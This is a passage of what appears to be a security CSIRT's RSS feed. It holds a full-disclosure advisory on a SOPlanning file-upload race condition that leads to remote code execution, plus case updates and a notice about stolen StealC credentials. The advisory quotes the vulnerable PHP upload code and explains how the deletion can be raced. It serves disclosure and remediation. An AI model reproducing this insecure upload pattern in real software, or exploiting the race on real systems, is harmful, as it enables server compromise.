  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;file_exists&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SAVE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;||&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;is__writable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;SAVE_DIR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;//SNIP ERROR MESSAGE&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

	    &lt;span class=&quot;c1&quot;&gt;//SNIP SOME CHECKS&lt;/span&gt;

		&lt;span class=&quot;c1&quot;&gt;// Chargement du fichier&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;move_uploaded_file&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$tmp_dir&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$upload_dir&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)))&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// SNIP rest of code cause not important for exploiting it. Except the @unlink()&lt;/span&gt;

				&lt;span class=&quot;c1&quot;&gt;// Suppression des fichiers&lt;/span&gt;
				&lt;span class=&quot;o&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;unlink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$upload_dir&lt;/span&gt;&lt;span class=&quot;mf&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
				&lt;span class=&quot;c1&quot;&gt;//@rrmdir($dest_dir);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because the file is written to the web-accessible upload directory before validation and only cleaned up with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@unlink()&lt;/code&gt; afterwards, an attacker can race the deletion and request the uploaded payload during the window in which it exists, achieving Remote Code Execution. The same upload request shown for CVE-2024-27115 can be used to place the payload; the difference is the exploited weakness (the move-before-check / delete-after race rather than the absence of type validation).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Suggested actions&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Do not move uploaded files into a web-accessible location before validation. Validate content in a temporary, non-executable directory and only publish the file after all checks pass. Avoid move-then-&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unlink()&lt;/code&gt; cleanup patterns that leave a race window. Update to SOPlanning 1.52.02 or later.&lt;/p&gt;

&lt;h2 id=&quot;more-information&quot;&gt;More information&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27112&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27112&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27113&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27114&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27114&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27115&quot; class=&quot;cve secinfo&quot;&gt;CVE-2024-27115&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-27112&quot;&gt;National Vulnerability Database for CVE-2024-27112&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-27113&quot;&gt;National Vulnerability Database for CVE-2024-27113&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-27114&quot;&gt;National Vulnerability Database for CVE-2024-27114&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://nvd.nist.gov/vuln/detail/CVE-2024-27115&quot;&gt;National Vulnerability Database for CVE-2024-27115&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
                <pubDate>Thu, 16 Jul 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/07/16/DIVD-2024-00024-full-disclosure-v1/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/07/16/DIVD-2024-00024-full-disclosure-v1/</guid>
            </item><item>
                            <title>Case update: DIVD-2026-00007 - Victim Notification Operation Endgame - S03E03 &amp; S03E04</title>
                            <description>
                                Last event: 25 Jun 2026 - DIVD starts notifying and sharing victim information with certs, csirts and security teams in regard to StealC
                            </description>
                            <pubDate>25 Jun 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2026-00007/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2026-00007/</guid>
                        </item><item>
                            <title>Case update: DIVD-2026-00001 - DIVD-2026-00001 – EVbee Service App and DC Quick Charging Station</title>
                            <description>
                                Last event: 10 Jul 2026 - Publication of initial batch of vulnerabilities.
                            </description>
                            <pubDate>10 Jul 2026 02:00:00 +0200</pubDate>
                            <link>https://csirt.divd.nl/cases/DIVD-2026-00001/</link>
                            <guid isPermaLink="true">https://csirt.divd.nl/cases/DIVD-2026-00001/</guid>
                        </item>
            <item>
                <title>StealC data available from Operation Endgame S03E04</title>
                <description>&lt;p&gt;As part of &lt;a href=&quot;https://www.operation-endgame.com/&quot;&gt;Operation Endgame S03E03 - S03E04&lt;/a&gt; law enforcement has seized victim data from StealC command and control servers.&lt;/p&gt;

&lt;p&gt;We have received the first datasets from the Dutch Police containing credentions of over 27M credentials.&lt;/p&gt;

&lt;p&gt;We encourage certs, csirts and security teams to look at the extracts we made from this information and request information about domains in their constituency. See the &lt;a href=&quot;/DIVD-2026-00007/organisation-instructions/&quot;&gt;our instructions for organisation regarding case DIVD-2026-00007&lt;/a&gt; for more information and how you can check if your organisation/constituency has been affected.&lt;/p&gt;
</description>
                <pubDate>Thu, 25 Jun 2026 00:00:00 +0200</pubDate>
                <link>https://csirt.divd.nl/2026/06/25/Endgame-s03e04/</link>
                <guid isPermaLink="true">https://csirt.divd.nl/2026/06/25/Endgame-s03e04/</guid>
            </item>
    </channel>
</rss>
